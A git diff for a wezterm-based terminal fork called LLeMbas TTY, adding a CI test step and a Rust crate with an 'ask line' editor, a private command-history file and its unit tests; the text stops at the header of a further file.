diff --git a/.github/workflows/llembas-tty.yml b/.github/workflows/llembas-tty.yml index c59a3faff..5c4b38e4a 100644 --- a/.github/workflows/llembas-tty.yml +++ b/.github/workflows/llembas-tty.yml @@ -73,7 +73,13 @@ jobs: rustflags: "" - name: The set-up program (what it installs is checked against the release key) run: llembas/tests/setup-test.sh + - name: Tests of the line logic (the ask line's editor, the input line, history, suggestions, colours) + # first of the Rust steps: it has no dependencies, so a mistake in it is known in a minute + run: llembas/ci/cargo-annotated.sh test --locked -p llembas-line - name: Build (release) + # also when the line logic's tests failed: one run then says both what they found and + # whether the terminal compiles (the steps after this one still stop at a failure) + if: ${{ !cancelled() }} # through the wrapper: a compiler error is then an annotation on the run as well run: llembas/ci/cargo-annotated.sh build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server - name: The binaries carry our names diff --git a/Cargo.lock b/Cargo.lock index bcf775d4f..b35023128 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3297,6 +3297,10 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092" +[[package]] +name = "llembas-line" +version = "0.1.0" + [[package]] name = "lock_api" version = "0.4.14" @@ -7138,6 +7142,7 @@ dependencies = [ "lazy_static", "lfucache", "libc", + "llembas-line", "log", "luahelper", "metrics", diff --git a/llembas/line/Cargo.toml b/llembas/line/Cargo.toml new file mode 100644 index 000000000..1f5369e9e --- /dev/null +++ b/llembas/line/Cargo.toml @@ -0,0 +1,17 @@ +# LLeMbas TTY: what the terminal decides about a line of text, with no terminal in it. +# The ask line's editor, the shell's input line as read from the screen, the terminal's own +# command history and its suggestions, and the colours of a command line. Nothing here knows +# about a window, a pane or a font: wezterm-gui/src/llembas/ is the thin part that does, and +# this crate is the part that is tested (`cargo test -p llembas-line`). +[package] +name = "llembas-line" +version = "0.1.0" +edition = "2021" +license = "MIT" +publish = false +description = "LLeMbas TTY: the logic of the ask line, suggestions and highlighting, without a terminal" + +[lib] +path = "src/lib.rs" + +[dependencies] diff --git a/llembas/line/src/editor.rs b/llembas/line/src/editor.rs new file mode 100644 index 000000000..d14fc48c5 --- /dev/null +++ b/llembas/line/src/editor.rs @@ -0,0 +1,626 @@ +//! The ask line: the line a person types a question for LLeMbas on, in place +//! of the shell's own line. The terminal keeps this editor itself, so nothing +//! typed here ever reaches the shell. + +/// The most characters a question may have. +pub const MAX_CHARS: usize = 4000; +/// The most earlier questions that are kept. +pub const MAX_HISTORY: usize = 100; +/// What stands between the prefix and the question. +pub const SEPARATOR: &str = " \u{203a} "; +/// What stands for the part of a long question that is scrolled out. +pub const ELLIPSIS: char = '\u{2026}'; + +/// What a key press means to the editor. The terminal's part maps its own key +/// codes to these. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Key { + Char(char), + Backspace, + Delete, + Left, + Right, + Home, + End, + WordLeft, + WordRight, + DeleteWordLeft, + DeleteWordRight, + DeleteToStart, + DeleteToEnd, + /// An earlier question. + Up, + /// A later one, and at last what was being typed. + Down, + Enter, + Cancel, +} + +/// What a key did. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Outcome { + Unchanged, + Changed, + /// Send this question. + Submit(String), + /// Leave the ask line; nothing is sent. + Cancel, +} + +#[derive(Debug, Clone, Default)] +pub struct LineEditor { + chars: Vec, + cursor: usize, + /// Earlier questions, the oldest first. + history: Vec, + /// Which earlier question is shown, while walking through them. + at: Option, + /// What was being typed before walking through earlier questions. + stash: Vec, +} + +/// A character as it may stand on the line: a line break or a tab is a space, +/// any other control character is nothing. +fn clean_char(c: char) -> Option { + if c == '\n' || c == '\r' || c == '\t' { + Some(' ') + } else if c.is_control() { + None + } else { + Some(c) + } +} + +impl LineEditor { + pub fn new(history: &[String]) -> Self { + LineEditor { + chars: Vec::new(), + cursor: 0, + history: history.to_vec(), + at: None, + stash: Vec::new(), + } + } + + pub fn text(&self) -> String { + self.chars.iter().collect() + } + + pub fn chars(&self) -> &[char] { + &self.chars + } + + /// Where the cursor is: before the character of this index. + pub fn cursor(&self) -> usize { + self.cursor + } + + pub fn is_empty(&self) -> bool { + self.chars.is_empty() + } + + fn word_left(&self) -> usize { + let mut i = self.cursor; + while i > 0 && self.chars[i - 1].is_whitespace() { + i -= 1; + } + while i > 0 && !self.chars[i - 1].is_whitespace() { + i -= 1; + } + i + } + + fn word_right(&self) -> usize { + let n = self.chars.len(); + let mut i = self.cursor; + while i < n && self.chars[i].is_whitespace() { + i += 1; + } + while i < n && !self.chars[i].is_whitespace() { + i += 1; + } + i + } + + fn set_line(&mut self, chars: Vec) { + self.chars = chars; + self.cursor = self.chars.len(); + } + + fn insert_char(&mut self, c: char) -> bool { + if self.chars.len() >= MAX_CHARS { + return false; + } + self.chars.insert(self.cursor, c); + self.cursor += 1; + true + } + + /// Text put on the line at once: a paste, or composed input. Line breaks + /// become one space each (a pasted question of several lines is still one + /// question), other control characters are dropped. + pub fn insert_text(&mut self, text: &str) -> Outcome { + let mut changed = false; + let mut last_was_break = false; + for c in text.chars() { + let is_break = c == '\n' || c == '\r'; + if is_break && last_was_break { + continue; + } + last_was_break = is_break; + if let Some(c) = clean_char(c) { + if self.insert_char(c) { + changed = true; + } + } + } + if changed { + Outcome::Changed + } else { + Outcome::Unchanged + } + } + + pub fn key(&mut self, key: Key) -> Outcome { + let n = self.chars.len(); + match key { + Key::Char(c) => match clean_char(c) { + Some(c) => { + if self.insert_char(c) { + Outcome::Changed + } else { + Outcome::Unchanged + } + } + None => Outcome::Unchanged, + }, + Key::Backspace => { + if self.cursor == 0 { + return Outcome::Unchanged; + } + self.cursor -= 1; + self.chars.remove(self.cursor); + Outcome::Changed + } + Key::Delete => { + if self.cursor >= n { + return Outcome::Unchanged; + } + self.chars.remove(self.cursor); + Outcome::Changed + } + Key::Left => { + if self.cursor == 0 { + return Outcome::Unchanged; + } + self.cursor -= 1; + Outcome::Changed + } + Key::Right => { + if self.cursor >= n { + return Outcome::Unchanged; + } + self.cursor += 1; + Outcome::Changed + } + Key::Home => { + if self.cursor == 0 { + return Outcome::Unchanged; + } + self.cursor = 0; + Outcome::Changed + } + Key::End => { + if self.cursor == n { + return Outcome::Unchanged; + } + self.cursor = n; + Outcome::Changed + } + Key::WordLeft => { + let to = self.word_left(); + if to == self.cursor { + return Outcome::Unchanged; + } + self.cursor = to; + Outcome::Changed + } + Key::WordRight => { + let to = self.word_right(); + if to == self.cursor { + return Outcome::Unchanged; + } + self.cursor = to; + Outcome::Changed + } + Key::DeleteWordLeft => { + let to = self.word_left(); + if to == self.cursor { + return Outcome::Unchanged; + } + self.chars.drain(to..self.cursor); + self.cursor = to; + Outcome::Changed + } + Key::DeleteWordRight => { + let to = self.word_right(); + if to == self.cursor { + return Outcome::Unchanged; + } + self.chars.drain(self.cursor..to); + Outcome::Changed + } + Key::DeleteToStart => { + if self.cursor == 0 { + return Outcome::Unchanged; + } + self.chars.drain(0..self.cursor); + self.cursor = 0; + Outcome::Changed + } + Key::DeleteToEnd => { + if self.cursor >= n { + return Outcome::Unchanged; + } + self.chars.truncate(self.cursor); + Outcome::Changed + } + Key::Up => { + if self.history.is_empty() { + return Outcome::Unchanged; + } + let next = match self.at { + None => { + self.stash = self.chars.clone(); + self.history.len() - 1 + } + Some(0) => return Outcome::Unchanged, + Some(i) => i - 1, + }; + self.at = Some(next); + let line: Vec = self.history[next].chars().collect(); + self.set_line(line); + Outcome::Changed + } + Key::Down => { + let i = match self.at { + None => return Outcome::Unchanged, + Some(i) => i, + }; + if i + 1 < self.history.len() { + self.at = Some(i + 1); + let line: Vec = self.history[i + 1].chars().collect(); + self.set_line(line); + } else { + self.at = None; + let line = std::mem::take(&mut self.stash); + self.set_line(line); + } + Outcome::Changed + } + Key::Enter => { + let text = self.text(); + let text = text.trim(); + if text.is_empty() { + Outcome::Cancel + } else { + Outcome::Submit(text.to_string()) + } + } + Key::Cancel => Outcome::Cancel, + } + } +} + +/// Keep a question that was sent among the earlier ones: the newest last, each +/// once, no more than [`MAX_HISTORY`]. +pub fn remember(history: &mut Vec, line: &str) { + let line = line.trim(); + if line.is_empty() { + return; + } + history.retain(|h| h != line); + history.push(line.to_string()); + if history.len() > MAX_HISTORY { + let extra = history.len() - MAX_HISTORY; + history.drain(0..extra); + } +} + +/// The ask line as it fits one row of a pane. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct View { + /// What stands before the question: the prefix and the separator, or less + /// when the row is narrow. + pub lead: String, + /// The part of the question that shows. + pub text: String, + /// The column of the cursor in the row. + pub cursor_col: usize, +} + +/// Fit the ask line into `cols` columns. `width` gives the columns a character +/// takes. The cursor is always in the row; a question longer than the row +/// scrolls, with an ellipsis where its beginning went. +pub fn view( + prefix: &str, + chars: &[char], + cursor: usize, + cols: usize, + width: &dyn Fn(char) -> usize, +) -> View { + let cursor = cursor.min(chars.len()); + let text_width = |s: &str| -> usize { s.chars().map(|c| width(c)).sum() }; + + let full = format!("{}{}", prefix, SEPARATOR); + let short = format!("{} ", SEPARATOR.trim()); + let lead = if text_width(&full) + 8 <= cols { + full + } else if text_width(&short) + 2 <= cols { + short + } else { + String::new() + }; + let lead_width = text_width(&lead); + // the columns the question has, and one of them is kept for the cursor + let limit = cols.saturating_sub(lead_width); + let room = limit.saturating_sub(1); + + let before: usize = chars[..cursor].iter().map(|c| width(*c)).sum(); + let mut first = 0; + if before > room { + // scrolled: one column goes to the ellipsis + let budget = room.saturating_sub(1); + first = cursor; + let mut acc = 0; + while first > 0 { + let w = width(chars[first - 1]); + if acc + w > budget { + break; + } + acc += w; + first -= 1; + } + } + + let mut text = String::new(); + let mut used = 0; + if first > 0 && limit > 0 { + text.push(ELLIPSIS); + used += 1; + } + let mut cursor_col = lead_width + used; + for (i, c) in chars.iter().enumerate().skip(first) { + let w = width(*c); + if used + w > limit { + break; + } + text.push(*c); + used += w; + if i < cursor { + cursor_col = lead_width + used; + } + } + cursor_col = cursor_col.min(cols.saturating_sub(1)); + View { + lead, + text, + cursor_col, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn typed(editor: &mut LineEditor, text: &str) { + for c in text.chars() { + editor.key(Key::Char(c)); + } + } + + fn one(_: char) -> usize { + 1 + } + + #[test] + fn typing_and_moving() { + let mut e = LineEditor::new(&[]); + assert!(e.is_empty()); + typed(&mut e, "why did it fail"); + assert_eq!(e.text(), "why did it fail"); + assert_eq!(e.cursor(), 15); + assert_eq!(e.key(Key::Home), Outcome::Changed); + assert_eq!(e.cursor(), 0); + assert_eq!(e.key(Key::Home), Outcome::Unchanged); + assert_eq!(e.key(Key::Left), Outcome::Unchanged); + assert_eq!(e.key(Key::Backspace), Outcome::Unchanged); + e.key(Key::WordRight); + assert_eq!(e.cursor(), 3); + e.key(Key::WordRight); + assert_eq!(e.cursor(), 7); + e.key(Key::WordLeft); + assert_eq!(e.cursor(), 4); + e.key(Key::End); + assert_eq!(e.cursor(), 15); + assert_eq!(e.key(Key::End), Outcome::Unchanged); + assert_eq!(e.key(Key::Right), Outcome::Unchanged); + assert_eq!(e.key(Key::Delete), Outcome::Unchanged); + e.key(Key::Left); + e.key(Key::Char('!')); + assert_eq!(e.text(), "why did it fai!l"); + } + + #[test] + fn deleting() { + let mut e = LineEditor::new(&[]); + typed(&mut e, "one two three"); + assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Changed); + assert_eq!(e.text(), "one two "); + e.key(Key::DeleteWordLeft); + assert_eq!(e.text(), "one "); + e.key(Key::Backspace); + assert_eq!(e.text(), "one"); + e.key(Key::Home); + e.key(Key::Delete); + assert_eq!(e.text(), "ne"); + typed(&mut e, "x y "); + assert_eq!(e.text(), "x y ne"); + e.key(Key::DeleteToEnd); + assert_eq!(e.text(), "x y "); + assert_eq!(e.key(Key::DeleteToEnd), Outcome::Unchanged); + e.key(Key::Home); + e.key(Key::DeleteWordRight); + assert_eq!(e.text(), " y "); + e.key(Key::End); + e.key(Key::DeleteToStart); + assert_eq!(e.text(), ""); + assert_eq!(e.key(Key::DeleteToStart), Outcome::Unchanged); + assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Unchanged); + assert_eq!(e.key(Key::DeleteWordRight), Outcome::Unchanged); + } + + #[test] + fn sending_and_leaving() { + let mut e = LineEditor::new(&[]); + assert_eq!( + e.key(Key::Enter), + Outcome::Cancel, + "an empty line sends nothing" + ); + typed(&mut e, " "); + assert_eq!(e.key(Key::Enter), Outcome::Cancel, "nor a blank one"); + typed(&mut e, "hello "); + assert_eq!(e.key(Key::Enter), Outcome::Submit("hello".to_string())); + assert_eq!(e.key(Key::Cancel), Outcome::Cancel); + } + + #[test] + fn control_characters_never_stand_on_the_line() { + let mut e = LineEditor::new(&[]); + assert_eq!(e.key(Key::Char('\u{1b}')), Outcome::Unchanged); + assert_eq!(e.key(Key::Char('\u{7}')), Outcome::Unchanged); + assert_eq!(e.key(Key::Char('\u{9b}')), Outcome::Unchanged); + assert_eq!(e.key(Key::Char('\t')), Outcome::Changed); + assert_eq!(e.text(), " "); + let mut e = LineEditor::new(&[]); + assert_eq!( + e.insert_text("first\r\nsecond\n\nthird\u{1b}[31m\u{7}"), + Outcome::Changed + ); + assert_eq!(e.text(), "first second third[31m"); + assert_eq!(e.insert_text("\u{1b}\u{7}"), Outcome::Unchanged); + } + + #[test] + fn pasting_goes_in_at_the_cursor() { + let mut e = LineEditor::new(&[]); + typed(&mut e, "ab"); + e.key(Key::Left); + e.insert_text("XY"); + assert_eq!(e.text(), "aXYb"); + assert_eq!(e.cursor(), 3); + } + + #[test] + fn a_question_is_not_endless() { + let mut e = LineEditor::new(&[]); + let long: String = std::iter::repeat('a').take(MAX_CHARS + 50).collect(); + e.insert_text(&long); + assert_eq!(e.chars().len(), MAX_CHARS); + assert_eq!(e.key(Key::Char('b')), Outcome::Unchanged); + } + + #[test] + fn earlier_questions() { + let history = vec!["first".to_string(), "second".to_string()]; + let mut e = LineEditor::new(&history); + typed(&mut e, "dra"); + assert_eq!(e.key(Key::Up), Outcome::Changed); + assert_eq!(e.text(), "second"); + assert_eq!(e.cursor(), 6); + e.key(Key::Up); + assert_eq!(e.text(), "first"); + assert_eq!(e.key(Key::Up), Outcome::Unchanged); + e.key(Key::Down); + assert_eq!(e.text(), "second"); + e.key(Key::Down); + assert_eq!(e.text(), "dra", "back to what was being typed"); + assert_eq!(e.key(Key::Down), Outcome::Unchanged); + let mut none = LineEditor::new(&[]); + assert_eq!(none.key(Key::Up), Outcome::Unchanged); + } + + #[test] + fn remembering() { + let mut h = Vec::new(); + remember(&mut h, " one "); + remember(&mut h, "two"); + remember(&mut h, "one"); + remember(&mut h, " "); + assert_eq!(h, vec!["two".to_string(), "one".to_string()]); + for i in 0..(MAX_HISTORY + 10) { + remember(&mut h, &format!("q{}", i)); + } + assert_eq!(h.len(), MAX_HISTORY); + assert_eq!(h[h.len() - 1], format!("q{}", MAX_HISTORY + 9)); + } + + #[test] + fn the_line_fits_the_row() { + let chars: Vec = "hello".chars().collect(); + let v = view("llembas m \u{b7} auto", &chars, 5, 80, &one); + assert_eq!(v.lead, "llembas m \u{b7} auto \u{203a} "); + assert_eq!(v.text, "hello"); + assert_eq!(v.cursor_col, 19 + 5); + let v = view("llembas", &chars, 2, 80, &one); + assert_eq!(v.cursor_col, 10 + 2); + } + + #[test] + fn a_long_question_scrolls() { + let chars: Vec = "abcdefghijklmnopqrstuvwxyz".chars().collect(); + // lead "p › " is 4 columns, the row has 14: ten for the question + let v = view("p", &chars, 26, 14, &one); + assert_eq!(v.lead, "p \u{203a} "); + assert_eq!(v.text, "\u{2026}stuvwxyz"); + assert_eq!(v.cursor_col, 13, "the cursor stays in the row"); + let v = view("p", &chars, 0, 14, &one); + assert_eq!(v.text, "abcdefghij"); + assert_eq!(v.cursor_col, 4); + let v = view("p", &chars, 9, 14, &one); + assert_eq!(v.text, "abcdefghij", "not scrolled while the cursor fits"); + assert_eq!(v.cursor_col, 13); + let v = view("p", &chars, 10, 14, &one); + assert_eq!(v.text, "\u{2026}cdefghijk"); + assert_eq!(v.cursor_col, 13); + } + + #[test] + fn a_narrow_row_gives_up_the_prefix() { + let chars: Vec = "hi".chars().collect(); + let v = view("llembas big-model \u{b7} manual", &chars, 2, 20, &one); + assert_eq!(v.lead, "\u{203a} "); + assert_eq!(v.text, "hi"); + assert_eq!(v.cursor_col, 4); + let v = view("llembas", &chars, 2, 3, &one); + assert_eq!(v.lead, ""); + assert_eq!(v.cursor_col, 2); + let v = view("llembas", &chars, 2, 0, &one); + assert_eq!(v.text, ""); + assert_eq!(v.cursor_col, 0); + } + + #[test] + fn wide_characters_take_two_columns() { + let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 }; + let chars: Vec = "a\u{4e2d}b".chars().collect(); + let v = view("p", &chars, 2, 40, &wide); + assert_eq!(v.cursor_col, 4 + 3); + // six columns for the question: a wide character that does not fit is left out + let chars: Vec = "\u{4e2d}\u{4e2d}\u{4e2d}\u{4e2d}".chars().collect(); + let v = view("p", &chars, 0, 9, &wide); + assert_eq!(v.lead, "\u{203a} "); + assert_eq!(v.text, "\u{4e2d}\u{4e2d}\u{4e2d}"); + } +} diff --git a/llembas/line/src/history.rs b/llembas/line/src/history.rs new file mode 100644 index 000000000..658b36ee3 --- /dev/null +++ b/llembas/line/src/history.rs @@ -0,0 +1,461 @@ +//! The terminal's own history of commands: the lines it saw run in its panes, +//! kept for the suggestions it draws after the cursor. It is not the shell's +//! history file, and never reads one. +//! +//! What is kept of a command: its text, how it ended, the directory it ran in +//! and when. What is never kept: a line that starts with a space (the shells' +//! own way of saying "do not remember this"), a line of several lines, a +//! command that was not found, anything with a control character in it. A +//! pane marked private records nothing, which is the caller's to see to. +//! +//! The file is the person's alone (mode 0600), one command a line, appended +//! to as commands run and rewritten smaller when it has grown. + +use std::io::Write; +use std::path::Path; + +/// The first line of the file. +pub const HEADER: &str = "# llembas-tty history 1"; +/// The most bytes of one command that are kept. +pub const MAX_COMMAND_BYTES: usize = 2000; +/// An exit status that is not known. +pub const NO_EXIT: i32 = -1; +/// The shells' exit status for a command that does not exist. +const NOT_FOUND: i32 = 127; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Entry { + pub command: String, + /// Its exit status, or [`NO_EXIT`]. + pub exit: i32, + /// The directory it ran in; empty when not known. + pub cwd: String, + /// When it ended, seconds since the epoch. + pub time: u64, +} + +/// Is this a command the history keeps? +pub fn accepts(command: &str, exit: i32) -> bool { + if command.starts_with(' ') || exit == NOT_FOUND { + return false; + } + let trimmed = command.trim(); + !trimmed.is_empty() + && trimmed.len() <= MAX_COMMAND_BYTES + && !trimmed.chars().any(|c| c.is_control()) +} + +fn escape(text: &str) -> String { + let mut out = String::with_capacity(text.len()); + for c in text.chars() { + match c { + '\\' => out.push_str("\\\\"), + '\t' => out.push_str("\\t"), + '\n' => out.push_str("\\n"), + '\r' => out.push_str("\\r"), + c => out.push(c), + } + } + out +} + +fn unescape(text: &str) -> String { + let mut out = String::with_capacity(text.len()); + let mut chars = text.chars(); + while let Some(c) = chars.next() { + if c != '\\' { + out.push(c); + continue; + } + match chars.next() { + Some('t') => out.push('\t'), + Some('n') => out.push('\n'), + Some('r') => out.push('\r'), + Some(other) => out.push(other), + None => out.push('\\'), + } + } + out +} + +impl Entry { + /// The entry as one line of the file, without the line break. + pub fn to_line(&self) -> String { + format!( + "{}\t{}\t{}\t{}", + self.time, + self.exit, + escape(&self.cwd), + escape(&self.command) + ) + } + + /// An entry from a line of the file; `None` for a line that is not one. + pub fn from_line(line: &str) -> Option { + let mut parts = line.splitn(4, '\t'); + let time = parts.next()?.parse::().ok()?; + let exit = parts.next()?.parse::().ok()?; + let cwd = unescape(parts.next()?); + let command = unescape(parts.next()?); + if !accepts(&command, exit) { + return None; + } + Some(Entry { + command, + exit, + cwd, + time, + }) + } +} + +#[derive(Debug, Clone, Default)] +pub struct History { + /// The oldest first; each command once. + entries: Vec, + max: usize, +} + +impl History { + pub fn new(max: usize) -> Self { + History { + entries: Vec::new(), + max, + } + } + + pub fn len(&self) -> usize { + self.entries.len() + } + + pub fn is_empty(&self) -> bool { + self.entries.is_empty() + } + + pub fn entries(&self) -> &[Entry] { + &self.entries + } + + pub fn clear(&mut self) { + self.entries.clear(); + } + + /// Keep a command. A command that is there already moves to the newest + /// place; the oldest go when there are more than `max`. Returns whether it + /// was kept. + pub fn add(&mut self, entry: Entry) -> bool { + if self.max == 0 || !accepts(&entry.command, entry.exit) { + return false; + } + let mut entry = entry; + entry.command = entry.command.trim().to_string(); + self.entries.retain(|e| e.command != entry.command); + self.entries.push(entry); + if self.entries.len() > self.max { + let extra = self.entries.len() - self.max; + self.entries.drain(0..extra); + } + true + } + + /// The rest of the newest command that starts with what is typed; `None` + /// when there is none, or nothing is typed. + pub fn suggest(&self, typed: &str) -> Option<&str> { + if typed.is_empty() || typed.starts_with(' ') { + return None; + } + for entry in self.entries.iter().rev() { + if entry.command.len() > typed.len() && entry.command.starts_with(typed) { + return Some(&entry.command[typed.len()..]); + } + } + None + } + + /// Read a history from the text of its file. Lines that are not entries + /// are passed over. Returns the history and how many lines the text had. + pub fn parse(text: &str, max: usize) -> (History, usize) { + let mut history = History::new(max); + let mut lines = 0; + for line in text.lines() { + lines += 1; + if line.starts_with('#') { + continue; + } + if let Some(entry) = Entry::from_line(line) { + history.add(entry); + } + } + (history, lines) + } + + /// The whole history as the text of its file. + pub fn serialize(&self) -> String { + let mut out = String::from(HEADER); + out.push('\n'); + for entry in &self.entries { + out.push_str(&entry.to_line()); + out.push('\n'); + } + out + } +} + +#[cfg(unix)] +fn private_options() -> std::fs::OpenOptions { + use std::os::unix::fs::OpenOptionsExt; + let mut options = std::fs::OpenOptions::new(); + options.mode(0o600); + options +} + +#[cfg(not(unix))] +fn private_options() -> std::fs::OpenOptions { + std::fs::OpenOptions::new() +} + +/// Read the history file. A file that is not there is an empty history. When +/// the file has grown to more than twice what is kept, it is rewritten. +pub fn load(path: &Path, max: usize) -> std::io::Result { + let text = match std::fs::read_to_string(path) { + Ok(text) => text, + Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(History::new(max)), + Err(err) => return Err(err), + }; + let (history, lines) = History::parse(&text, max); + if lines > max.saturating_mul(2) + 16 { + save(path, &history)?; + } + Ok(history) +} + +/// Write the whole history: to a file beside it that is the person's alone, +/// then moved over it. +pub fn save(path: &Path, history: &History) -> std::io::Result<()> { + if let Some(dir) = path.parent() { + std::fs::create_dir_all(dir)?; + } + let mut tmp = path.as_os_str().to_owned(); + tmp.push(format!(".{}.tmp", std::process::id())); + let tmp = std::path::PathBuf::from(tmp); + let _ = std::fs::remove_file(&tmp); + let result = (|| { + let mut file = private_options().write(true).create_new(true).open(&tmp)?; + file.write_all(history.serialize().as_bytes())?; + file.sync_all()?; + std::fs::rename(&tmp, path) + })(); + if result.is_err() { + let _ = std::fs::remove_file(&tmp); + } + result +} + +/// Add one command to the end of the file, making the file (the person's +/// alone) when it is not there. +pub fn append(path: &Path, entry: &Entry) -> std::io::Result<()> { + if let Some(dir) = path.parent() { + std::fs::create_dir_all(dir)?; + } + let mut file = private_options().append(true).create(true).open(path)?; + let mut text = String::new(); + if file.metadata()?.len() == 0 { + text.push_str(HEADER); + text.push('\n'); + } + text.push_str(&entry.to_line()); + text.push('\n'); + file.write_all(text.as_bytes()) +} + +/// Forget everything: the file is removed. +pub fn remove(path: &Path) -> std::io::Result<()> { + match std::fs::remove_file(path) { + Ok(()) => Ok(()), + Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(()), + Err(err) => Err(err), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::atomic::{AtomicUsize, Ordering}; + + fn entry(command: &str, exit: i32) -> Entry { + Entry { + command: command.to_string(), + exit, + cwd: "/home/user/project".to_string(), + time: 1700000000, + } + } + + /// A directory of its own for one test. + fn scratch(name: &str) -> std::path::PathBuf { + static N: AtomicUsize = AtomicUsize::new(0); + let dir = std::env::temp_dir().join(format!( + "llembas-line-test-{}-{}-{}", + std::process::id(), + N.fetch_add(1, Ordering::SeqCst), + name + )); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + dir + } + + #[test] + fn what_is_kept_and_what_is_not() { + assert!(accepts("git status", 0)); + assert!( + accepts("make test", 2), + "a command that failed is still one" + ); + assert!(accepts("ls", NO_EXIT)); + assert!( + !accepts(" export TOKEN=secret", 0), + "a line that starts with a space" + ); + assert!(!accepts("gti status", 127), "a command that was not found"); + assert!(!accepts("", 0)); + assert!(!accepts(" ", 0)); + assert!(!accepts("echo a\necho b", 0), "several lines"); + assert!(!accepts("echo \u{1b}[31m", 0), "a control character"); + let long: String = std::iter::repeat('a').take(MAX_COMMAND_BYTES + 1).collect(); + assert!(!accepts(&long, 0)); + } + + #[test] + fn adding() { + let mut h = History::new(3); + assert!(h.add(entry("one", 0))); + assert!(h.add(entry("two ", 0))); + assert!(!h.add(entry(" secret", 0))); + assert!(h.add(entry("one", 1))); + let commands: Vec<&str> = h.entries().iter().map(|e| e.command.as_str()).collect(); + assert_eq!( + commands, + vec!["two", "one"], + "each once, the newest last, trimmed" + ); + assert_eq!(h.entries()[1].exit, 1, "and as it last ended"); + h.add(entry("three", 0)); + h.add(entry("four", 0)); + assert_eq!(h.len(), 3); + assert_eq!(h.entries()[0].command, "one", "the oldest went"); + let mut none = History::new(0); + assert!( + !none.add(entry("x", 0)), + "a history of nothing keeps nothing" + ); + assert!(none.is_empty()); + } + + #[test] + fn suggesting() { + let mut h = History::new(10); + h.add(entry("git status", 0)); + h.add(entry("git stash pop", 0)); + h.add(entry("ls -la", 0)); + assert_eq!( + h.suggest("git st"), + Some("ash pop"), + "the newest that starts so" + ); + assert_eq!(h.suggest("git stat"), Some("us")); + assert_eq!(h.suggest("git status"), None, "nothing left to offer"); + assert_eq!(h.suggest("l"), Some("s -la")); + assert_eq!(h.suggest(""), None, "nothing typed"); + assert_eq!( + h.suggest(" git"), + None, + "a line that asks not to be remembered" + ); + assert_eq!(h.suggest("cargo"), None); + assert_eq!(h.suggest("Git"), None, "as typed, not folded"); + h.clear(); + assert_eq!(h.suggest("git"), None); + } + + #[test] + fn the_file_text() { + let mut h = History::new(10); + h.add(Entry { + command: "echo a\\tb".to_string(), + exit: 0, + cwd: "/tmp/with\ttab".to_string(), + time: 5, + }); + h.add(entry("ls", 2)); + let text = h.serialize(); + assert_eq!( + text, + "# llembas-tty history 1\n5\t0\t/tmp/with\\ttab\techo a\\\\tb\n1700000000\t2\t/home/user/project\tls\n" + ); + let (back, lines) = History::parse(&text, 10); + assert_eq!(lines, 3); + assert_eq!(back.entries(), h.entries()); + // lines that are not entries are passed over, never an error + let (odd, _) = History::parse( + "nonsense\n1\t0\n\nx\t0\t/\tls\n7\t0\t/\t secret\n8\t127\t/\tgti\n9\t0\t/\tok\n", + 10, + ); + assert_eq!(odd.len(), 1); + assert_eq!(odd.entries()[0].command, "ok"); + // only the newest are kept + let (few, _) = History::parse("1\t0\t/\ta\n2\t0\t/\tb\n3\t0\t/\tc\n", 2); + assert_eq!(few.entries()[0].command, "b"); + } + + #[test] + fn the_file_itself() { + let dir = scratch("file"); + let path = dir.join("sub").join("history"); + assert!( + load(&path, 10).unwrap().is_empty(), + "no file: an empty history" + ); + append(&path, &entry("git status", 0)).unwrap(); + append(&path, &entry("ls", 0)).unwrap(); + let text = std::fs::read_to_string(&path).unwrap(); + assert!(text.starts_with("# llembas-tty history 1\n")); + assert_eq!(text.lines().count(), 3); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600, "the person's alone"); + } + let h = load(&path, 10).unwrap(); + assert_eq!(h.len(), 2); + assert_eq!(h.suggest("git"), Some(" status")); + remove(&path).unwrap(); + remove(&path).unwrap(); + assert!(load(&path, 10).unwrap().is_empty()); + std::fs::remove_dir_all(&dir).unwrap(); + } + + #[test] + fn a_file_that_grew_is_rewritten_smaller() { + let dir = scratch("grow"); + let path = dir.join("history"); + for i in 0..40 { + append(&path, &entry(&format!("command {}", i % 5), 0)).unwrap(); + } + assert_eq!(std::fs::read_to_string(&path).unwrap().lines().count(), 41); + let h = load(&path, 3).unwrap(); + assert_eq!(h.len(), 3); + let text = std::fs::read_to_string(&path).unwrap(); + assert_eq!(text.lines().count(), 4, "the header and the three kept"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600, "still the person's alone"); + } + let files: Vec<_> = std::fs::read_dir(&dir).unwrap().collect(); + assert_eq!(files.len(), 1, "nothing left beside it"); + std::fs::remove_dir_all(&dir).unwrap(); + } +} diff --git a/llembas/line/src/lib.rs b/llembas/line/src/lib.rs new file mode 100644 index 000000000..4d1340cee --- /dev/null +++ b/llembas/line/src/lib.rs @@ -0,0 +1,18 @@ +//! LLeMbas TTY: what the terminal decides about a line of text, with no +//! terminal in it. +//! +//! - [`editor`]: the ask line's own small line editor, and how it fits a row. +//! - [`zone`]: the shell's input line, read from the cells of the screen. +//! - [`history`]: the terminal's own history of commands it saw run. +//! - [`suggest`]: what is offered after the cursor, and how much a key takes. +//! - [`tokens`]: the parts of a shell command line, for its colours. +//! +//! Everything takes plain values and returns plain values. Text that came +//! from a pane, a file or a model is text here and nothing else: it is never +//! run, and nothing in it survives that could act on a terminal. + +pub mod editor; +pub mod history; +pub mod suggest; +pub mod tokens; +pub mod zone; diff --git a/llembas/line/src/suggest.rs 